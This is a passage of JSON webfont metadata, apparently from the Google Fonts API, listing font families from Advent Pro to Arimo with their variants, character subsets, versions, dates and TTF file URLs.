Pro","variants":["100","200","300","regular","500","600","700"],"subsets":["greek","latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/adventpro/v11/V8mCoQfxVT4Dvddr_yOwjVmtLZxcBtItFw.ttf","200":"http://fonts.gstatic.com/s/adventpro/v11/V8mDoQfxVT4Dvddr_yOwjfWMDbZyCts0DqQ.ttf","300":"http://fonts.gstatic.com/s/adventpro/v11/V8mDoQfxVT4Dvddr_yOwjZGPDbZyCts0DqQ.ttf","regular":"http://fonts.gstatic.com/s/adventpro/v11/V8mAoQfxVT4Dvddr_yOwtT2nKb5ZFtI.ttf","500":"http://fonts.gstatic.com/s/adventpro/v11/V8mDoQfxVT4Dvddr_yOwjcmODbZyCts0DqQ.ttf","600":"http://fonts.gstatic.com/s/adventpro/v11/V8mDoQfxVT4Dvddr_yOwjeWJDbZyCts0DqQ.ttf","700":"http://fonts.gstatic.com/s/adventpro/v11/V8mDoQfxVT4Dvddr_yOwjYGIDbZyCts0DqQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Aguafina Script","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/aguafinascript/v9/If2QXTv_ZzSxGIO30LemWEOmt1bHqs4pgicOrg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Akronim","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/akronim/v10/fdN-9sqWtWZZlHRp-gBxkFYN-a8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Aladin","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/aladin/v9/ZgNSjPJFPrvJV5f16Sf4pGT2Ng.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Alata","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/alata/v2/PbytFmztEwbIofe6xKcRQEOX.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Alatsi","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/alatsi/v2/TK3iWkUJAxQ2nLNGHjUHte5fKg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Aldrich","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/aldrich/v11/MCoTzAn-1s3IGyJMZaAS3pP5H_E.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Alef","variants":["regular","700"],"subsets":["hebrew","latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/alef/v12/FeVfS0NQpLYgrjJbC5FxxbU.ttf","700":"http://fonts.gstatic.com/s/alef/v12/FeVQS0NQpLYglo50L5la2bxii28.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Alegreya","variants":["regular","italic","500","500italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v16","lastModified":"2020-10-22","files":{"regular":"http://fonts.gstatic.com/s/alegreya/v16/4UaBrEBBsBhlBjvfkRLmzanB44N1.ttf","italic":"http://fonts.gstatic.com/s/alegreya/v16/4UaHrEBBsBhlBjvfkSLkx63j5pN1MwI.ttf","500":"http://fonts.gstatic.com/s/alegreya/v16/4UaGrEBBsBhlBjvfkSoS5I3JyJ98KhtH.ttf","500italic":"http://fonts.gstatic.com/s/alegreya/v16/4UaErEBBsBhlBjvfkSLk_1nKwpteLwtHJlc.ttf","700":"http://fonts.gstatic.com/s/alegreya/v16/4UaGrEBBsBhlBjvfkSpa4o3JyJ98KhtH.ttf","700italic":"http://fonts.gstatic.com/s/alegreya/v16/4UaErEBBsBhlBjvfkSLk_xHMwpteLwtHJlc.ttf","800":"http://fonts.gstatic.com/s/alegreya/v16/4UaGrEBBsBhlBjvfkSpG4Y3JyJ98KhtH.ttf","800italic":"http://fonts.gstatic.com/s/alegreya/v16/4UaErEBBsBhlBjvfkSLk_w3PwpteLwtHJlc.ttf","900":"http://fonts.gstatic.com/s/alegreya/v16/4UaGrEBBsBhlBjvfkSpi4I3JyJ98KhtH.ttf","900italic":"http://fonts.gstatic.com/s/alegreya/v16/4UaErEBBsBhlBjvfkSLk_ynOwpteLwtHJlc.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Alegreya SC","variants":["regular","italic","500","500italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v14","lastModified":"2020-10-22","files":{"regular":"http://fonts.gstatic.com/s/alegreyasc/v14/taiOGmRtCJ62-O0HhNEa-a6o05E5abe_.ttf","italic":"http://fonts.gstatic.com/s/alegreyasc/v14/taiMGmRtCJ62-O0HhNEa-Z6q2ZUbbKe_DGs.ttf","500":"http://fonts.gstatic.com/s/alegreyasc/v14/taiTGmRtCJ62-O0HhNEa-ZZc-rUxQqu2FXKD.ttf","500italic":"http://fonts.gstatic.com/s/alegreyasc/v14/taiRGmRtCJ62-O0HhNEa-Z6q4WEySK-UEGKDBz4.ttf","700":"http://fonts.gstatic.com/s/alegreyasc/v14/taiTGmRtCJ62-O0HhNEa-ZYU_LUxQqu2FXKD.ttf","700italic":"http://fonts.gstatic.com/s/alegreyasc/v14/taiRGmRtCJ62-O0HhNEa-Z6q4Sk0SK-UEGKDBz4.ttf","800":"http://fonts.gstatic.com/s/alegreyasc/v14/taiTGmRtCJ62-O0HhNEa-ZYI_7UxQqu2FXKD.ttf","800italic":"http://fonts.gstatic.com/s/alegreyasc/v14/taiRGmRtCJ62-O0HhNEa-Z6q4TU3SK-UEGKDBz4.ttf","900":"http://fonts.gstatic.com/s/alegreyasc/v14/taiTGmRtCJ62-O0HhNEa-ZYs_rUxQqu2FXKD.ttf","900italic":"http://fonts.gstatic.com/s/alegreyasc/v14/taiRGmRtCJ62-O0HhNEa-Z6q4RE2SK-UEGKDBz4.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Alegreya Sans","variants":["100","100italic","300","300italic","regular","italic","500","500italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-10-22","files":{"100":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUt9_-1phKLFgshYDvh6Vwt5TltuGdShm5bsg.ttf","100italic":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUv9_-1phKLFgshYDvh6Vwt7V9V3G1WpGtLsgu7.ttf","300":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUu9_-1phKLFgshYDvh6Vwt5fFPmE18imdCqxI.ttf","300italic":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUo9_-1phKLFgshYDvh6Vwt7V9VFE92jkVHuxKiBA.ttf","regular":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUz9_-1phKLFgshYDvh6Vwt3V1nvEVXlm4.ttf","italic":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUt9_-1phKLFgshYDvh6Vwt7V9tuGdShm5bsg.ttf","500":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUu9_-1phKLFgshYDvh6Vwt5alOmE18imdCqxI.ttf","500italic":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUo9_-1phKLFgshYDvh6Vwt7V9VTE52jkVHuxKiBA.ttf","700":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUu9_-1phKLFgshYDvh6Vwt5eFImE18imdCqxI.ttf","700italic":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUo9_-1phKLFgshYDvh6Vwt7V9VBEh2jkVHuxKiBA.ttf","800":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUu9_-1phKLFgshYDvh6Vwt5f1LmE18imdCqxI.ttf","800italic":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUo9_-1phKLFgshYDvh6Vwt7V9VGEt2jkVHuxKiBA.ttf","900":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUu9_-1phKLFgshYDvh6Vwt5dlKmE18imdCqxI.ttf","900italic":"http://fonts.gstatic.com/s/alegreyasans/v13/5aUo9_-1phKLFgshYDvh6Vwt7V9VPEp2jkVHuxKiBA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Alegreya Sans SC","variants":["100","100italic","300","300italic","regular","italic","500","500italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-10-22","files":{"100":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGn4-RGJqfMvt7P8FUr0Q1j-Hf1Dipl8g5FPYtmMg.ttf","100italic":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGl4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdlgRBH452Mvds.ttf","300":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DuJH0iRrMYJ_K-4.ttf","300italic":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdXiZhNaB6O-51OA.ttf","regular":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGh4-RGJqfMvt7P8FUr0Q1j-Hf1Nk5v9ixALYs.ttf","italic":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGn4-RGJqfMvt7P8FUr0Q1j-Hf1Bkxl8g5FPYtmMg.ttf","500":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DrpG0iRrMYJ_K-4.ttf","500italic":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdBidhNaB6O-51OA.ttf","700":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DvJA0iRrMYJ_K-4.ttf","700italic":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdTiFhNaB6O-51OA.ttf","800":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1Du5D0iRrMYJ_K-4.ttf","800italic":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxdUiJhNaB6O-51OA.ttf","900":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGm4-RGJqfMvt7P8FUr0Q1j-Hf1DspC0iRrMYJ_K-4.ttf","900italic":"http://fonts.gstatic.com/s/alegreyasanssc/v12/mtGk4-RGJqfMvt7P8FUr0Q1j-Hf1BkxddiNhNaB6O-51OA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Aleo","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v4","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/aleo/v4/c4mg1nF8G8_syKbr9DVDno985KM.ttf","300italic":"http://fonts.gstatic.com/s/aleo/v4/c4mi1nF8G8_swAjxeDdJmq159KOnWA.ttf","regular":"http://fonts.gstatic.com/s/aleo/v4/c4mv1nF8G8_s8ArD0D1ogoY.ttf","italic":"http://fonts.gstatic.com/s/aleo/v4/c4mh1nF8G8_swAjJ1B9tkoZl_Q.ttf","700":"http://fonts.gstatic.com/s/aleo/v4/c4mg1nF8G8_syLbs9DVDno985KM.ttf","700italic":"http://fonts.gstatic.com/s/aleo/v4/c4mi1nF8G8_swAjxaDBJmq159KOnWA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Alex Brush","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/alexbrush/v12/SZc83FzrJKuqFbwMKk6EtUL57DtOmCc.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Alfa Slab One","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/alfaslabone/v10/6NUQ8FmMKwSEKjnm5-4v-4Jh6dVretWvYmE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Alice","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/alice/v12/OpNCnoEEmtHa6FcJpA_chzJ0.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Alike","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/alike/v13/HI_EiYEYI6BIoEjBSZXAQ4-d.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Alike Angular","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/alikeangular/v11/3qTrojWunjGQtEBlIcwMbSoI3kM6bB7FKjE.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Allan","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/allan/v13/ea8XadU7WuTxEtb2P9SF8nZE.ttf","700":"http://fonts.gstatic.com/s/allan/v13/ea8aadU7WuTxEu5KEPCN2WpNgEKU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Allerta","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/allerta/v11/TwMO-IAHRlkbx940UnEdSQqO5uY.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Allerta Stencil","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/allertastencil/v11/HTx0L209KT-LmIE9N7OR6eiycOeF-zz313DuvQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Allura","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/allura/v9/9oRPNYsQpS4zjuAPjAIXPtrrGA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Almarai","variants":["300","regular","700","800"],"subsets":["arabic"],"version":"v4","lastModified":"2020-09-25","files":{"300":"http://fonts.gstatic.com/s/almarai/v4/tssoApxBaigK_hnnS_anhnicoq72sXg.ttf","regular":"http://fonts.gstatic.com/s/almarai/v4/tsstApxBaigK_hnnc1qPonC3vqc.ttf","700":"http://fonts.gstatic.com/s/almarai/v4/tssoApxBaigK_hnnS-aghnicoq72sXg.ttf","800":"http://fonts.gstatic.com/s/almarai/v4/tssoApxBaigK_hnnS_qjhnicoq72sXg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Almendra","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/almendra/v13/H4ckBXKAlMnTn0CskyY6wr-wg763.ttf","italic":"http://fonts.gstatic.com/s/almendra/v13/H4ciBXKAlMnTn0CskxY4yLuShq63czE.ttf","700":"http://fonts.gstatic.com/s/almendra/v13/H4cjBXKAlMnTn0Cskx6G7Zu4qKK-aihq.ttf","700italic":"http://fonts.gstatic.com/s/almendra/v13/H4chBXKAlMnTn0CskxY48Ae9oqacbzhqDtg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Almendra Display","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/almendradisplay/v11/0FlPVOGWl1Sb4O3tETtADHRRlZhzXS_eTyer338.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Almendra SC","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/almendrasc/v11/Iure6Yx284eebowr7hbyTZZJprVA4XQ0.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Amarante","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/amarante/v8/xMQXuF1KTa6EvGx9bq-3C3rAmD-b.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Amaranth","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/amaranth/v11/KtkuALODe433f0j1zPnCF9GqwnzW.ttf","italic":"http://fonts.gstatic.com/s/amaranth/v11/KtkoALODe433f0j1zMnAHdWIx2zWD4I.ttf","700":"http://fonts.gstatic.com/s/amaranth/v11/KtkpALODe433f0j1zMF-OPWi6WDfFpuc.ttf","700italic":"http://fonts.gstatic.com/s/amaranth/v11/KtkrALODe433f0j1zMnAJWmn42T9E4ucRY8.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Amatic SC","variants":["regular","700"],"subsets":["cyrillic","hebrew","latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/amaticsc/v15/TUZyzwprpvBS1izr_vO0De6ecZQf1A.ttf","700":"http://fonts.gstatic.com/s/amaticsc/v15/TUZ3zwprpvBS1izr_vOMscG6eb8D3WTy-A.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Amethysta","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/amethysta/v9/rP2Fp2K15kgb_F3ibfWIGDWCBl0O8Q.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Amiko","variants":["regular","600","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/amiko/v5/WwkQxPq1DFK04tqlc17MMZgJ.ttf","600":"http://fonts.gstatic.com/s/amiko/v5/WwkdxPq1DFK04uJ9XXrEGoQAUco5.ttf","700":"http://fonts.gstatic.com/s/amiko/v5/WwkdxPq1DFK04uIZXHrEGoQAUco5.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Amiri","variants":["regular","italic","700","700italic"],"subsets":["arabic","latin","latin-ext"],"version":"v16","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/amiri/v16/J7aRnpd8CGxBHqUpvrIw74NL.ttf","italic":"http://fonts.gstatic.com/s/amiri/v16/J7afnpd8CGxBHpUrtLYS6pNLAjk.ttf","700":"http://fonts.gstatic.com/s/amiri/v16/J7acnpd8CGxBHp2VkZY4xJ9CGyAa.ttf","700italic":"http://fonts.gstatic.com/s/amiri/v16/J7aanpd8CGxBHpUrjAo9zptgHjAavCA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Amita","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/amita/v7/HhyaU5si9Om7PQlvAfSKEZZL.ttf","700":"http://fonts.gstatic.com/s/amita/v7/HhyXU5si9Om7PTHTLtCCOopCTKkI.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Anaheim","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/anaheim/v8/8vII7w042Wp87g4G0UTUEE5eK_w.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Andada","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/andada/v12/uK_y4riWaego3w9RCh0TMv6EXw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Andika","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/andika/v12/mem_Ya6iyW-LwqgAbbwRWrwGVA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Andika New Basic","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-12-08","files":{"regular":"http://fonts.gstatic.com/s/andikanewbasic/v1/taiRGn9tCp-44eleq5Q-mszJivxSSK-UEGKDBz4.ttf","italic":"http://fonts.gstatic.com/s/andikanewbasic/v1/taiXGn9tCp-44eleq5Q-mszJivxSeK2eFECGFz5VCg.ttf","700":"http://fonts.gstatic.com/s/andikanewbasic/v1/taiWGn9tCp-44eleq5Q-mszJivxScBO7NGqoGzdME84.ttf","700italic":"http://fonts.gstatic.com/s/andikanewbasic/v1/taiUGn9tCp-44eleq5Q-mszJivxSeK2mqG-iHxVJA85Okw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Angkor","variants":["regular"],"subsets":["khmer"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/angkor/v13/H4cmBXyAlsPdnlb-8iw-4Lqggw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Annie Use Your Telescope","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/annieuseyourtelescope/v11/daaLSS4tI2qYYl3Jq9s_Hu74xwktnlKxH6osGVGjlDfB3UUVZA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Anonymous Pro","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","greek","latin","latin-ext"],"version":"v14","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/anonymouspro/v14/rP2Bp2a15UIB7Un-bOeISG3pLlw89CH98Ko.ttf","italic":"http://fonts.gstatic.com/s/anonymouspro/v14/rP2fp2a15UIB7Un-bOeISG3pHl428AP44Kqr2Q.ttf","700":"http://fonts.gstatic.com/s/anonymouspro/v14/rP2cp2a15UIB7Un-bOeISG3pFuAT0CnW7KOywKo.ttf","700italic":"http://fonts.gstatic.com/s/anonymouspro/v14/rP2ap2a15UIB7Un-bOeISG3pHl4OTCzc6IG30KqB9Q.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Antic","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/antic/v12/TuGfUVB8XY5DRaZLodgzydtk.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Antic Didone","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/anticdidone/v9/RWmPoKKX6u8sp8fIWdnDKqDiqYsGBGBzCw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Antic Slab","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/anticslab/v9/bWt97fPFfRzkCa9Jlp6IWcJWXW5p5Qo.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Anton","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/anton/v12/1Ptgg87LROyAm0K08i4gS7lu.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Arapey","variants":["regular","italic"],"subsets":["latin"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/arapey/v9/-W__XJn-UDDA2RC6Z9AcZkIzeg.ttf","italic":"http://fonts.gstatic.com/s/arapey/v9/-W_9XJn-UDDA2RCKZdoYREcjeo0k.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Arbutus","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/arbutus/v10/NaPYcZ7dG_5J3poob9JtryO8fMU.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Arbutus Slab","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/arbutusslab/v9/oY1Z8e7OuLXkJGbXtr5ba7ZVa68dJlaFAQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Architects Daughter","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/architectsdaughter/v11/KtkxAKiDZI_td1Lkx62xHZHDtgO_Y-bvfY5q4szgE-Q.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Archivo","variants":["regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v7","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/archivo/v7/k3kQo8UDI-1M0wlSTd7iL0nAMaM.ttf","italic":"http://fonts.gstatic.com/s/archivo/v7/k3kSo8UDI-1M0wlSfdzoK2vFIaOV8A.ttf","500":"http://fonts.gstatic.com/s/archivo/v7/k3kVo8UDI-1M0wlSdSrLC0HrLaqM6Q4.ttf","500italic":"http://fonts.gstatic.com/s/archivo/v7/k3kXo8UDI-1M0wlSfdzQ30LhKYiJ-Q7m8w.ttf","600":"http://fonts.gstatic.com/s/archivo/v7/k3kVo8UDI-1M0wlSdQbMC0HrLaqM6Q4.ttf","600italic":"http://fonts.gstatic.com/s/archivo/v7/k3kXo8UDI-1M0wlSfdzQ80XhKYiJ-Q7m8w.ttf","700":"http://fonts.gstatic.com/s/archivo/v7/k3kVo8UDI-1M0wlSdWLNC0HrLaqM6Q4.ttf","700italic":"http://fonts.gstatic.com/s/archivo/v7/k3kXo8UDI-1M0wlSfdzQl0ThKYiJ-Q7m8w.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Archivo Black","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/archivoblack/v10/HTxqL289NzCGg4MzN6KJ7eW6OYuP_x7yx3A.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Archivo Narrow","variants":["regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/archivonarrow/v12/tss0ApVBdCYD5Q7hcxTE1ArZ0Yb3g31S2s8p.ttf","italic":"http://fonts.gstatic.com/s/archivonarrow/v12/tss2ApVBdCYD5Q7hcxTE1ArZ0bb1iXlw398pJxk.ttf","500":"http://fonts.gstatic.com/s/archivonarrow/v12/tss3ApVBdCYD5Q7hcxTE1ArZ0b4Dqlla8dMgPgBu.ttf","500italic":"http://fonts.gstatic.com/s/archivonarrow/v12/tssxApVBdCYD5Q7hcxTE1ArZ0bb1sY1Z-9cCOxBu_BM.ttf","600":"http://fonts.gstatic.com/s/archivonarrow/v12/tss3ApVBdCYD5Q7hcxTE1ArZ0b4vrVla8dMgPgBu.ttf","600italic":"http://fonts.gstatic.com/s/archivonarrow/v12/tssxApVBdCYD5Q7hcxTE1ArZ0bb1saFe-9cCOxBu_BM.ttf","700":"http://fonts.gstatic.com/s/archivonarrow/v12/tss3ApVBdCYD5Q7hcxTE1ArZ0b5LrFla8dMgPgBu.ttf","700italic":"http://fonts.gstatic.com/s/archivonarrow/v12/tssxApVBdCYD5Q7hcxTE1ArZ0bb1scVf-9cCOxBu_BM.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Aref Ruqaa","variants":["regular","700"],"subsets":["arabic","latin","latin-ext"],"version":"v12","lastModified":"2020-11-06","files":{"regular":"http://fonts.gstatic.com/s/arefruqaa/v12/WwkbxPW1E165rajQKDulEIAiVNo5xNY.ttf","700":"http://fonts.gstatic.com/s/arefruqaa/v12/WwkYxPW1E165rajQKDulKDwNcNIS2N_7Bdk.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Arima Madurai","variants":["100","200","300","regular","500","700","800","900"],"subsets":["latin","latin-ext","tamil","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/arimamadurai/v6/t5t4IRoeKYORG0WNMgnC3seB1V3PqrGCch4Drg.ttf","200":"http://fonts.gstatic.com/s/arimamadurai/v6/t5t7IRoeKYORG0WNMgnC3seB1fHuipusfhcat2c.ttf","300":"http://fonts.gstatic.com/s/arimamadurai/v6/t5t7IRoeKYORG0WNMgnC3seB1ZXtipusfhcat2c.ttf","regular":"http://fonts.gstatic.com/s/arimamadurai/v6/t5tmIRoeKYORG0WNMgnC3seB7TnFrpOHYh4.ttf","500":"http://fonts.gstatic.com/s/arimamadurai/v6/t5t7IRoeKYORG0WNMgnC3seB1c3sipusfhcat2c.ttf","700":"http://fonts.gstatic.com/s/arimamadurai/v6/t5t7IRoeKYORG0WNMgnC3seB1YXqipusfhcat2c.ttf","800":"http://fonts.gstatic.com/s/arimamadurai/v6/t5t7IRoeKYORG0WNMgnC3seB1Znpipusfhcat2c.ttf","900":"http://fonts.gstatic.com/s/arimamadurai/v6/t5t7IRoeKYORG0WNMgnC3seB1b3oipusfhcat2c.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Arimo","variants":["regular","5